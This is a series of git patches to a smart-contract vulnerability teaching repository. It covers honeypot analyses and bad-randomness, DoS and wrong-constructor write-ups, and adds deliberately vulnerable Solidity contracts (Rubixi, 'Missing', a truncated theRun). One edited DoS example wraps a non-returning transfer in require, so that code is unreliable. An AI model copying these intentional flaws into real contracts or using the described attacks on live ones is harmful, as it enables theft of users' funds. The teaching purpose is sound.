deletions(-) diff --git a/honeypots/README.md b/honeypots/README.md index 6b6abace..7a3e2107 100644 --- a/honeypots/README.md +++ b/honeypots/README.md @@ -1,25 +1,25 @@ # Honeypot Collection -The Ethereum community has recently stumbled on a wide slew of honeypot smart contracts operating on the mainnet blockchain -- something that we have been investigating for quite some time. They’re designed to entice security researchers and developers to deposit Ethereum into the contract to obtain a chance to exploit ‘easy vulnerabilities’ in Solidity. However, once payment is deposited, the contracts will deploy subtle traps and quirks to lock out the user from successfully claiming the “prize.” +The Ethereum community has recently stumbled on a wide slew of honeypot smart contracts operating on the mainnet blockchain - something that we have been investigating for quite some time. They’re designed to entice security researchers and developers to deposit Ethereum into the contract to obtain a chance to exploit ‘easy vulnerabilities’ in Solidity. However, once payment is deposited, the contracts will deploy subtle traps and quirks to lock out the user from successfully claiming the “prize.” -The traps vary in sophistication. Our blockchain security research has turned up six fundamental archetypes that construct most of these honeypots. Some of these contracts are weeks old. A few were released before September, 2017. Many seem to be moderately successful -- trapping around 0.1 ether and containing approximately 5 transactions on average. Yet for every successful trap, a large minority of contracts had no interaction at all. These ‘failed honeypots’ most likely served the original developers as a testing environment. The existence of these contracts must be taken into account by academic researchers quantifying the effectiveness of tools and analysis methods for the Ethereum blockchain, given the potential to skew research results. +The traps vary in sophistication. Our blockchain security research has turned up six fundamental archetypes that construct most of these honeypots. Some of these contracts are weeks old. A few were released before September, 2017. Many seem to be moderately successful - trapping around 0.1 ether and containing approximately 5 transactions on average. Yet for every successful trap, a large minority of contracts had no interaction at all. These ‘failed honeypots’ most likely served the original developers as a testing environment. The existence of these contracts must be taken into account by academic researchers quantifying the effectiveness of tools and analysis methods for the Ethereum blockchain, given the potential to skew research results. Versions of the most recent compilers will emit warnings of most of these traps during compilation. However, some of the contracts rely on logic gaps in the solc compiler and the Solidity language itself. -## King of the Hill +## [King of the Hill](KOTH/) -At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `Stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an onlyOwner modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `Stake()` claim and subsequent `withdraw()`. +At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `Stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an `onlyOwner` modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `Stake()` claim and subsequent `withdraw()`. -The heart of the honeypot lies in the fact that the owner variable qualifying the onlyOwner modifier is not the one being reassigned in the Stake function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](https://github.com/trailofbits/not-so-smart-contracts/tree/master/variable%20shadowing) by the inheriting CEOThrone contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in Ownable is actually never reassigned at all and allows the original creator to dump all funds at their leisure. +The heart of the honeypot lies in the fact that the owner variable qualifying the `onlyOwner` modifier is not the one being reassigned in the `Stake()` function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](https://github.com/trailofbits/not-so-smart-contracts/tree/master/variable%20shadowing) by the inheriting `CEOThrone` contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in `Ownable` is actually never reassigned at all and allows the original creator to dump all funds at their leisure. -## Multiplicator +## [Multiplicator](Multiplicator/) Here is another ponzi-esque contract that promises to multiply your ‘investment’ by returning to you your initial deposit in addition to the current total balance of ether in the contract. The only condition is that the amount you send into the `multiplicate()` function must be greater than the current balance. -The contract takes advantage of the fact that the global variable balance on the contract will always contain any ether sent to payable functions attached to msg.value. As a result, the condition `if(msg.value>=this.balance)` will always fail and the transfer will never occur. The `multiplicate()` function itself affirms the erroneous assumption by setting the transfer parameter as `this.balance+msg.value` (instead of only this.balance) +The contract takes advantage of the fact that the global variable balance on the contract will always contain any ether sent to payable functions attached to `msg.value`. As a result, the condition `if(msg.value>=this.balance)` will always fail and the transfer will never occur. The `multiplicate()` function itself affirms the erroneous assumption by setting the transfer parameter as `this.balance+msg.value` (instead of only `this.balance`) -## VarLoop +## [VarLoop](VarLoop/) The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. @@ -29,10 +29,10 @@ Fortunately the var keyword has been deprecated by the Solidity authors. This is also a type of runtime bug that our symbolic execution tool, [Manticore](https://github.com/trailofbits/manticore), would have able to spot by being unable to find a valid transaction path that would ever return more than 255 wei. -## Private Bank +## [Private Bank](PrivateBank/) -Someone familiar with smart contract security and some of the more technical vulnerabilities might recognize that this contract is susceptible to a [classic reentrancy attack](https://github.com/trailofbits/not-so-smart-contracts/tree/master/reentrancy). It takes advantage of the low-level call in the function `CashOut()` by `msg.sender.call.value(_am)())`. Since the user balance is only decremented afterwards, the caller’s callback function can call back into the method, allowing an attacker to continuously call `CashOut()` beyond what their initial balance should allow for. The only main difference is the addition of a Log class that seems to keep track of transitions. +Someone familiar with smart contract security and some of the more technical vulnerabilities might recognize that this contract is susceptible to a [classic reentrancy attack](https://github.com/trailofbits/not-so-smart-contracts/tree/master/reentrancy). It takes advantage of the low-level call in the function `CashOut()` by `msg.sender.call.value(_am)())`. Since the user balance is only decremented afterwards, the caller’s callback function can call back into the method, allowing an attacker to continuously call `CashOut()` beyond what their initial balance should allow for. The only main difference is the addition of a `Log` class that seems to keep track of transitions. -This honeypot takes advantage of the caller’s assumptions, diverting attention away from the trap by seemingly including a reentrancy vulnerability. However, if you attempt to do so, you will find that your call to `CashOut` will fail every time. There doesn’t seem to be anything in the code that would indicate a gas usage timeout. The only thing extraneous is the logging call at `TransferLog.AddMessage(msg.sender,msg.value,"Deposit")`. The source of the Log contract appears benign. +This honeypot takes advantage of the caller’s assumptions, diverting attention away from the trap by seemingly including a reentrancy vulnerability. However, if you attempt to do so, you will find that your call to `CashOut` will fail every time. There doesn’t seem to be anything in the code that would indicate a gas usage timeout. The only thing extraneous is the logging call at `TransferLog.AddMessage(msg.sender,msg.value,"Deposit")`. The source of the `Log` contract appears benign. A closer inspection of the constructor will show that `TransferLog` is initialized from a user-supplied address. As long as the contract code at that location contains similar function signatures, the content of `AddMessage` can be completely different. In fact we can find the code of the external Log contract here. Having only bytecode available, we can assume that it will trap execution in a computationally expensive loop for everyone else but the owner, causing the contract function to hit the gas limit. From 64cfc2a0003989001aefe1f6e9e246a59d782e40 Mon Sep 17 00:00:00 2001 From: Evan Sultanik Date: Wed, 5 Sep 2018 12:34:04 +0200 Subject: [PATCH 39/73] Fix path to relative link to code --- reentrancy/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reentrancy/README.md b/reentrancy/README.md index 4f9c2661..1680c4ef 100644 --- a/reentrancy/README.md +++ b/reentrancy/README.md @@ -1,6 +1,6 @@ # Re-entrancy A state variable is changed after a contract uses `call.value`. The attacker uses -[a fallback function](reentrancy/ReentrancyExploit.sol#L26-L33)—which is automatically executed after +[a fallback function](ReentrancyExploit.sol#L26-L33)—which is automatically executed after Ether is transferred from the targeted contract—to execute the vulnerable function again, *before* the state variable is changed. From 15714f4db69b7c312f2d7551ab2effd0fdfe533c Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 5 Sep 2018 12:33:19 +0200 Subject: [PATCH 40/73] Fixed variable shadowing link --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4842f922..e4ee4fb0 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ It also includes a repository and analysis of several [honeypots](honeypots/) - [Reentrancy](reentrancy/): Calling external contracts gives them control over execution - [Unchecked External Call](unchecked_external_call/): Some Solidity operations silently fail - [Unprotected Function](unprotected_function/): Failure to use function modifier allows attacker to manipulate contract -- [Variable Shadowing](variable_shadowing/): Local variable name is identical to one in outer scope +- [Variable Shadowing](variable%20shadowing/): Local variable name is identical to one in outer scope ## Credits From 2335b71ef483ab129af7722cfd50465d70b985be Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 5 Sep 2018 12:41:55 +0200 Subject: [PATCH 41/73] Update README.md --- bad_randomness/README.md | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/bad_randomness/README.md b/bad_randomness/README.md index 7a8ad84e..5a00bb03 100644 --- a/bad_randomness/README.md +++ b/bad_randomness/README.md @@ -1,18 +1,14 @@ # Bad Randomness -Due to the fact that all information on the blockchain in public, acquiring random numbers that -cannot be influenced by malicious actors is nearly impossible. +Pseudorandom number generation on the blockchain is generally unsafe. There are a number of reasons for this, including: -People have mistakenly attempted to use the following sources of "randomness" in their smart contracts +- The blockchain does not provide any cryptographically secure source of randomness. Block hashes in isolation are cryptographically random, however, a malicious miner can modify block headers, introduce additional transactions, and choose not to publish blocks in order to influence the resulting hashes. Therefore, miner-influenced values like block hashes and timestamps should never be used as a source of randomness. -- Block variables such as `coinbase`, `difficulty`, `gasLimit`, `number`, and `timestamp` -- Blockhash of a past or future block +- Everything in a contract is publicly visible. Random numbers cannot be generated or stored in the contract until after all lottery entries have been stored. -The problem with each of these examples is that miners can influence their values. -Even if it is unlikely a miner is able to specify exactly what these quantities, -they could stack the cards slightly in their favor. +- Computers will always be faster than the blockchain. Any number that the contract could generate can potentially be precalculated off-chain before the end of the block. -A common workaround for this issue is a commit and reveal scheme. Here, each user submits the hash of their secret number. +A common workaround for the lack of on-chain randomness is using a commit and reveal scheme. Here, each user submits the hash of their secret number. When the time comes for the random number to be generated, each user sends their secret number to the contract which then verifies it matches the hash submitted earlier and xors them together. Therefore no participant can observe how their contribution will affect the end result until after everyone has already committed to a value. However, this is also vulnerable to DoS attacks, @@ -41,4 +37,4 @@ and take a fixed amount of sequential time to evaluate ## Sources - https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract -- https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 \ No newline at end of file +- https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 From d075aa869bdbc51b5b2982a09088b2f79f352103 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 19 Sep 2018 13:59:26 -0400 Subject: [PATCH 42/73] Update list_dos.sol fixed `send` vs `transfer` issues --- denial_of_service/list_dos.sol | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/denial_of_service/list_dos.sol b/denial_of_service/list_dos.sol index 60c6288f..91d80feb 100644 --- a/denial_of_service/list_dos.sol +++ b/denial_of_service/list_dos.sol @@ -6,7 +6,7 @@ contract CrowdFundBad { function refundDos() public { for(uint i; i < refundAddresses.length; i++) { - require(refundAddresses[i].send(refundAmount[refundAddresses[i]])); + require(refundAddresses[i].transfer(refundAmount[refundAddresses[i]])); } } } @@ -18,14 +18,13 @@ contract CrowdFundPull { function withdraw() external { uint refund = refundAmount[msg.sender]; refundAmount[msg.sender] = 0; - msg.sender.send(refund); + msg.sender.transfer(refund); } } -//This is safe against the list length being the source of block gas limit issues -//but is not safe in the scenario where the payee takes up a lot of gas, or is that -// not possible because send has a fixed gas limit? +//This is safe against the list length causing out of gas issues +//but is not safe against the payee causing the execution to revert contract CrowdFundSafe { address[] private refundAddresses; mapping(address => uint) public refundAmount; @@ -34,7 +33,7 @@ contract CrowdFundSafe { function refundSafe() public { uint256 i = nextIdx; while(i < refundAddresses.length && msg.gas > 200000) { - refundAddresses[i].send(refundAmount[i]); + refundAddresses[i].transfer(refundAmount[i]); i++; } nextIdx = i; From 5adefba9d615a7c318f392de03c91c34739fcf0c Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 19 Sep 2018 14:04:20 -0400 Subject: [PATCH 43/73] Update README.md --- denial_of_service/README.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/denial_of_service/README.md b/denial_of_service/README.md index a8a6eed0..81e1bf25 100644 --- a/denial_of_service/README.md +++ b/denial_of_service/README.md @@ -2,17 +2,18 @@ A malicious contract can permanently stall another contract by failing in a strategic way. In particular, contracts that bulk perform transactions or updates using -a `for` loop can be DoS'd if a call to another contract or `send` fails during the loop. +a `for` loop can be DoS'd if a call to another contract or `transfer` fails during the loop. ## Attack Scenarios - Auction contract where frontrunner must be reimbursed when they are outbid. If the call refunding -the frontrunner continuously fails, the auction is stalled and they become the de-facto winner. +the frontrunner continuously fails, the auction is stalled and they become the de facto winner. -- Contract iterates through an array to pay back its users. If one send fails in the middle of a `for` loop +- Contract iterates through an array to pay back its users. If one `transfer` fails in the middle of a `for` loop all reimbursements fail. -- Attacker forces calling contract to spend remainder of its gas and revert. +- Attacker spams contract, causing some array to become large. Then `for` loops iterating through the array +might run out of gas and revert. ## Examples @@ -30,4 +31,4 @@ using `while` loop that exists when gas drops below certain threshold. ## References - https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/ -- https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert \ No newline at end of file +- https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert From c46872a840fbeaddc811c550dd8376005ca9c00b Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 19 Sep 2018 14:15:05 -0400 Subject: [PATCH 44/73] Changed missing constructor to more sensible name --- wrong_constructor_name/README.md | 15 ++ .../Rubixi_source_code/Rubixi.sol | 155 ++++++++++++++++++ .../incorrect_constructor.sol | 25 +++ 3 files changed, 195 insertions(+) create mode 100644 wrong_constructor_name/README.md create mode 100644 wrong_constructor_name/Rubixi_source_code/Rubixi.sol create mode 100644 wrong_constructor_name/incorrect_constructor.sol diff --git a/wrong_constructor_name/README.md b/wrong_constructor_name/README.md new file mode 100644 index 00000000..39f5c6db --- /dev/null +++ b/wrong_constructor_name/README.md @@ -0,0 +1,15 @@ +# Missing constructor + +If the constructor of a smart contract is not present (or not spelled the same way as the contract name), it is callable by anyone. + +## Attack +Anyone can call the function that was supposed to be the constructor. +As a result anyone can change the state variables initialized in this function. + +## Mitigations + +- Use `constructor` instead of a named constructor + +## Examples +- [Rubixi](Rubixi_source_code/Rubixi.sol) uses `DynamicPyramid` instead of `Rubixi` as a constructor +- An [incorrectly named constructor](Missing.sol) diff --git a/wrong_constructor_name/Rubixi_source_code/Rubixi.sol b/wrong_constructor_name/Rubixi_source_code/Rubixi.sol new file mode 100644 index 00000000..a83370d7 --- /dev/null +++ b/wrong_constructor_name/Rubixi_source_code/Rubixi.sol @@ -0,0 +1,155 @@ +// 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code +pragma solidity ^0.4.15; + +contract Rubixi { + + //Declare variables for storage critical to contract + uint private balance = 0; + uint private collectedFees = 0; + uint private feePercent = 10; + uint private pyramidMultiplier = 300; + uint private payoutOrder = 0; + + address private creator; + + //Sets creator + function DynamicPyramid() { + creator = msg.sender; + } + + modifier onlyowner { + if (msg.sender == creator) _; + } + + struct Participant { + address etherAddress; + uint payout; + } + + Participant[] private participants; + + //Fallback function + function() { + init(); + } + + //init function run on fallback + function init() private { + //Ensures only tx with value of 1 ether or greater are processed and added to pyramid + if (msg.value < 1 ether) { + collectedFees += msg.value; + return; + } + + uint _fee = feePercent; + //50% fee rebate on any ether value of 50 or greater + if (msg.value >= 50 ether) _fee /= 2; + + addPayout(_fee); + } + + //Function called for valid tx to the contract + function addPayout(uint _fee) private { + //Adds new address to participant array + participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); + + //These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan + if (participants.length == 10) pyramidMultiplier = 200; + else if (participants.length == 25) pyramidMultiplier = 150; + + // collect fees and update contract balance + balance += (msg.value * (100 - _fee)) / 100; + collectedFees += (msg.value * _fee) / 100; + + //Pays earlier participiants if balance sufficient + while (balance > participants[payoutOrder].payout) { + uint payoutToSend = participants[payoutOrder].payout; + participants[payoutOrder].etherAddress.send(payoutToSend); + + balance -= participants[payoutOrder].payout; + payoutOrder += 1; + } + } + + //Fee functions for creator + function collectAllFees() onlyowner { + if (collectedFees == 0) throw; + + creator.send(collectedFees); + collectedFees = 0; + } + + function collectFeesInEther(uint _amt) onlyowner { + _amt *= 1 ether; + if (_amt > collectedFees) collectAllFees(); + + if (collectedFees == 0) throw; + + creator.send(_amt); + collectedFees -= _amt; + } + + function collectPercentOfFees(uint _pcent) onlyowner { + if (collectedFees == 0 || _pcent > 100) throw; + + uint feesToCollect = collectedFees / 100 * _pcent; + creator.send(feesToCollect); + collectedFees -= feesToCollect; + } + + //Functions for changing variables related to the contract + function changeOwner(address _owner) onlyowner { + creator = _owner; + } + + function changeMultiplier(uint _mult) onlyowner { + if (_mult > 300 || _mult < 120) throw; + + pyramidMultiplier = _mult; + } + + function changeFeePercentage(uint _fee) onlyowner { + if (_fee > 10) throw; + + feePercent = _fee; + } + + //Functions to provide information to end-user using JSON interface or other interfaces + function currentMultiplier() constant returns(uint multiplier, string info) { + multiplier = pyramidMultiplier; + info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.'; + } + + function currentFeePercentage() constant returns(uint fee, string info) { + fee = feePercent; + info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)'; + } + + function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) { + pyramidBalance = balance / 1 ether; + info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to'; + } + + function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) { + balancePayout = participants[payoutOrder].payout / 1 ether; + } + + function feesSeperateFromBalanceApproximately() constant returns(uint fees) { + fees = collectedFees / 1 ether; + } + + function totalParticipants() constant returns(uint count) { + count = participants.length; + } + + function numberOfParticipantsWaitingForPayout() constant returns(uint count) { + count = participants.length - payoutOrder; + } + + function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) { + if (orderInPyramid <= participants.length) { + Address = participants[orderInPyramid].etherAddress; + Payout = participants[orderInPyramid].payout / 1 ether; + } + } +} diff --git a/wrong_constructor_name/incorrect_constructor.sol b/wrong_constructor_name/incorrect_constructor.sol new file mode 100644 index 00000000..a3090a32 --- /dev/null +++ b/wrong_constructor_name/incorrect_constructor.sol @@ -0,0 +1,25 @@ +pragma solidity ^0.4.15; + +contract Missing{ + address private owner; + + modifier onlyowner { + require(msg.sender==owner); + _; + } + + // The name of the constructor should be Missing + // Anyone can call the IamMissing once the contract is deployed + function IamMissing() + public + { + owner = msg.sender; + } + + function withdraw() + public + onlyowner + { + owner.transfer(this.balance); + } +} From e33f62924c1015726e1dc5e1fe64adcfa3b834c9 Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 19 Sep 2018 14:18:47 -0400 Subject: [PATCH 45/73] removed missing constructor folder --- missing_constructor/Missing.sol | 25 --- missing_constructor/README.md | 15 -- .../Rubixi_source_code/Rubixi.sol | 155 ------------------ 3 files changed, 195 deletions(-) delete mode 100644 missing_constructor/Missing.sol delete mode 100644 missing_constructor/README.md delete mode 100644 missing_constructor/Rubixi_source_code/Rubixi.sol diff --git a/missing_constructor/Missing.sol b/missing_constructor/Missing.sol deleted file mode 100644 index a3090a32..00000000 --- a/missing_constructor/Missing.sol +++ /dev/null @@ -1,25 +0,0 @@ -pragma solidity ^0.4.15; - -contract Missing{ - address private owner; - - modifier onlyowner { - require(msg.sender==owner); - _; - } - - // The name of the constructor should be Missing - // Anyone can call the IamMissing once the contract is deployed - function IamMissing() - public - { - owner = msg.sender; - } - - function withdraw() - public - onlyowner - { - owner.transfer(this.balance); - } -} diff --git a/missing_constructor/README.md b/missing_constructor/README.md deleted file mode 100644 index 39f5c6db..00000000 --- a/missing_constructor/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# Missing constructor - -If the constructor of a smart contract is not present (or not spelled the same way as the contract name), it is callable by anyone. - -## Attack -Anyone can call the function that was supposed to be the constructor. -As a result anyone can change the state variables initialized in this function. - -## Mitigations - -- Use `constructor` instead of a named constructor - -## Examples -- [Rubixi](Rubixi_source_code/Rubixi.sol) uses `DynamicPyramid` instead of `Rubixi` as a constructor -- An [incorrectly named constructor](Missing.sol) diff --git a/missing_constructor/Rubixi_source_code/Rubixi.sol b/missing_constructor/Rubixi_source_code/Rubixi.sol deleted file mode 100644 index a83370d7..00000000 --- a/missing_constructor/Rubixi_source_code/Rubixi.sol +++ /dev/null @@ -1,155 +0,0 @@ -// 0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code -pragma solidity ^0.4.15; - -contract Rubixi { - - //Declare variables for storage critical to contract - uint private balance = 0; - uint private collectedFees = 0; - uint private feePercent = 10; - uint private pyramidMultiplier = 300; - uint private payoutOrder = 0; - - address private creator; - - //Sets creator - function DynamicPyramid() { - creator = msg.sender; - } - - modifier onlyowner { - if (msg.sender == creator) _; - } - - struct Participant { - address etherAddress; - uint payout; - } - - Participant[] private participants; - - //Fallback function - function() { - init(); - } - - //init function run on fallback - function init() private { - //Ensures only tx with value of 1 ether or greater are processed and added to pyramid - if (msg.value < 1 ether) { - collectedFees += msg.value; - return; - } - - uint _fee = feePercent; - //50% fee rebate on any ether value of 50 or greater - if (msg.value >= 50 ether) _fee /= 2; - - addPayout(_fee); - } - - //Function called for valid tx to the contract - function addPayout(uint _fee) private { - //Adds new address to participant array - participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100)); - - //These statements ensure a quicker payout system to later pyramid entrants, so the pyramid has a longer lifespan - if (participants.length == 10) pyramidMultiplier = 200; - else if (participants.length == 25) pyramidMultiplier = 150; - - // collect fees and update contract balance - balance += (msg.value * (100 - _fee)) / 100; - collectedFees += (msg.value * _fee) / 100; - - //Pays earlier participiants if balance sufficient - while (balance > participants[payoutOrder].payout) { - uint payoutToSend = participants[payoutOrder].payout; - participants[payoutOrder].etherAddress.send(payoutToSend); - - balance -= participants[payoutOrder].payout; - payoutOrder += 1; - } - } - - //Fee functions for creator - function collectAllFees() onlyowner { - if (collectedFees == 0) throw; - - creator.send(collectedFees); - collectedFees = 0; - } - - function collectFeesInEther(uint _amt) onlyowner { - _amt *= 1 ether; - if (_amt > collectedFees) collectAllFees(); - - if (collectedFees == 0) throw; - - creator.send(_amt); - collectedFees -= _amt; - } - - function collectPercentOfFees(uint _pcent) onlyowner { - if (collectedFees == 0 || _pcent > 100) throw; - - uint feesToCollect = collectedFees / 100 * _pcent; - creator.send(feesToCollect); - collectedFees -= feesToCollect; - } - - //Functions for changing variables related to the contract - function changeOwner(address _owner) onlyowner { - creator = _owner; - } - - function changeMultiplier(uint _mult) onlyowner { - if (_mult > 300 || _mult < 120) throw; - - pyramidMultiplier = _mult; - } - - function changeFeePercentage(uint _fee) onlyowner { - if (_fee > 10) throw; - - feePercent = _fee; - } - - //Functions to provide information to end-user using JSON interface or other interfaces - function currentMultiplier() constant returns(uint multiplier, string info) { - multiplier = pyramidMultiplier; - info = 'This multiplier applies to you as soon as transaction is received, may be lowered to hasten payouts or increased if payouts are fast enough. Due to no float or decimals, multiplier is x100 for a fractional multiplier e.g. 250 is actually a 2.5x multiplier. Capped at 3x max and 1.2x min.'; - } - - function currentFeePercentage() constant returns(uint fee, string info) { - fee = feePercent; - info = 'Shown in % form. Fee is halved(50%) for amounts equal or greater than 50 ethers. (Fee may change, but is capped to a maximum of 10%)'; - } - - function currentPyramidBalanceApproximately() constant returns(uint pyramidBalance, string info) { - pyramidBalance = balance / 1 ether; - info = 'All balance values are measured in Ethers, note that due to no decimal placing, these values show up as integers only, within the contract itself you will get the exact decimal value you are supposed to'; - } - - function nextPayoutWhenPyramidBalanceTotalsApproximately() constant returns(uint balancePayout) { - balancePayout = participants[payoutOrder].payout / 1 ether; - } - - function feesSeperateFromBalanceApproximately() constant returns(uint fees) { - fees = collectedFees / 1 ether; - } - - function totalParticipants() constant returns(uint count) { - count = participants.length; - } - - function numberOfParticipantsWaitingForPayout() constant returns(uint count) { - count = participants.length - payoutOrder; - } - - function participantDetails(uint orderInPyramid) constant returns(address Address, uint Payout) { - if (orderInPyramid <= participants.length) { - Address = participants[orderInPyramid].etherAddress; - Payout = participants[orderInPyramid].payout / 1 ether; - } - } -} From 456fa55dd5cedb83a610126f4bb4d7a045884a6a Mon Sep 17 00:00:00 2001 From: Ben Perez Date: Wed, 19 Sep 2018 14:17:41 -0400 Subject: [PATCH 46/73] Update README.md --- wrong_constructor_name/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wrong_constructor_name/README.md b/wrong_constructor_name/README.md index 39f5c6db..ff7c1e88 100644 --- a/wrong_constructor_name/README.md +++ b/wrong_constructor_name/README.md @@ -1,6 +1,6 @@ -# Missing constructor +# Wrong Constructor Name -If the constructor of a smart contract is not present (or not spelled the same way as the contract name), it is callable by anyone. +A function intended to be a constructor is named incorrectly, which causes it to end up in the runtime bytecode instead of being a constructor. ## Attack Anyone can call the function that was supposed to be the constructor. From 7b8fa0b4cb7401ddbe045e0031dcd36d7125cc4e Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Mon, 24 Sep 2018 14:49:54 -0400 Subject: [PATCH 47/73] Fixed the link to the constructor example --- wrong_constructor_name/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wrong_constructor_name/README.md b/wrong_constructor_name/README.md index ff7c1e88..78c7c395 100644 --- a/wrong_constructor_name/README.md +++ b/wrong_constructor_name/README.md @@ -12,4 +12,4 @@ As a result anyone can change the state variables initialized in this function. ## Examples - [Rubixi](Rubixi_source_code/Rubixi.sol) uses `DynamicPyramid` instead of `Rubixi` as a constructor -- An [incorrectly named constructor](Missing.sol) +- An [incorrectly named constructor](incorrect_constructor.sol) From 7e72091d0a5b72fbff5f74d1570e4997bfb47aae Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Mon, 24 Sep 2018 14:52:45 -0400 Subject: [PATCH 48/73] Fixed main README link to Wrong Constructor Name --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e4ee4fb0..da3302a3 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ It also includes a repository and analysis of several [honeypots](honeypots/) - [Incorrect Interface](incorrect_interface/): Implementation uses different function signatures than interface - [Integer Overflow](integer_overflow/): Arithmetic in Solidity (or EVM) is not safe by default - [Forced Ether Reception](forced_ether_reception/): Contracts can be forced to receive Ether -- [Missing Constructor](missing_constructor/): Anyone can become owner of contract due to missing constructor +- [Wrong Constructor Name](wrong_constructor_name/): Anyone can become owner of contract due to missing constructor - [Race Condition](race_condition/): Transactions can be frontrun on the blockchain - [Reentrancy](reentrancy/): Calling external contracts gives them control over execution - [Unchecked External Call](unchecked_external_call/): Some Solidity operations silently fail From ea3625d97d95054b5ae9f5691923963a776112ca Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Thu, 27 Sep 2018 09:23:07 -0400 Subject: [PATCH 49/73] Added theRun as an example of bad randomness --- bad_randomness/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bad_randomness/README.md b/bad_randomness/README.md index 5a00bb03..53f3c297 100644 --- a/bad_randomness/README.md +++ b/bad_randomness/README.md @@ -34,6 +34,8 @@ and take a fixed amount of sequential time to evaluate ## Examples +- The `random` function in [theRun](https://etherscan.io/address/0xcac337492149bdb66b088bf5914bedfbf78ccc18#code) was vulnerable to this attack. It used the blockhash, timestamp and block number to generate numbers in a range to determine winners of the lottery. To exploit this, an attacker could set up a smart contract that generates numbers in the same way and submits entries when it would win. As well, the miner of the block has some control over the blockhash and timestamp and would also be able to influence the lottery in their favor. + ## Sources - https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract From c9b9d42bf472e52cf7cead2ffda96d234a1f66bc Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Thu, 27 Sep 2018 09:34:16 -0400 Subject: [PATCH 50/73] added theRun source code --- bad_randomness/theRun_source_code/theRun.sol | 173 +++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 bad_randomness/theRun_source_code/theRun.sol diff --git a/bad_randomness/theRun_source_code/theRun.sol b/bad_randomness/theRun_source_code/theRun.sol new file mode 100644 index 00000000..4c5b7c72 --- /dev/null +++ b/bad_randomness/theRun_source_code/theRun.sol @@ -0,0 +1,173 @@ +contract theRun { + uint private Balance = 0; + uint private Payout_id = 0; + uint private Last_Payout = 0; + uint private WinningPot = 0; + uint private Min_multiplier = 1100; //110% + + + //Fees are necessary and set very low, to maintain the website. The fees will decrease each time they are collected. + //Fees are just here to maintain the website at beginning, and will progressively go to 0% :) + uint private fees = 0; + uint private feeFrac = 20; //Fraction for fees in per"thousand", not percent, so 20 is 2% + + uint private PotFrac = 30; //For the WinningPot ,30=> 3% are collected. This is fixed. + + + address private admin; + + function theRun() { + admin = msg.sender; + } + + modifier onlyowner {if (msg.sender == admin) _ } + + struct Player { + address addr; + uint payout; + bool paid; + } + + Player[] private players; + + //--Fallback function + function() { + init(); + } + + //--initiated function + function init() private { + uint deposit=msg.value; + if (msg.value < 500 finney) { //only participation with >1 ether accepted + msg.sender.send(msg.value); + return; + } + if (msg.value > 20 ether) { //only participation with 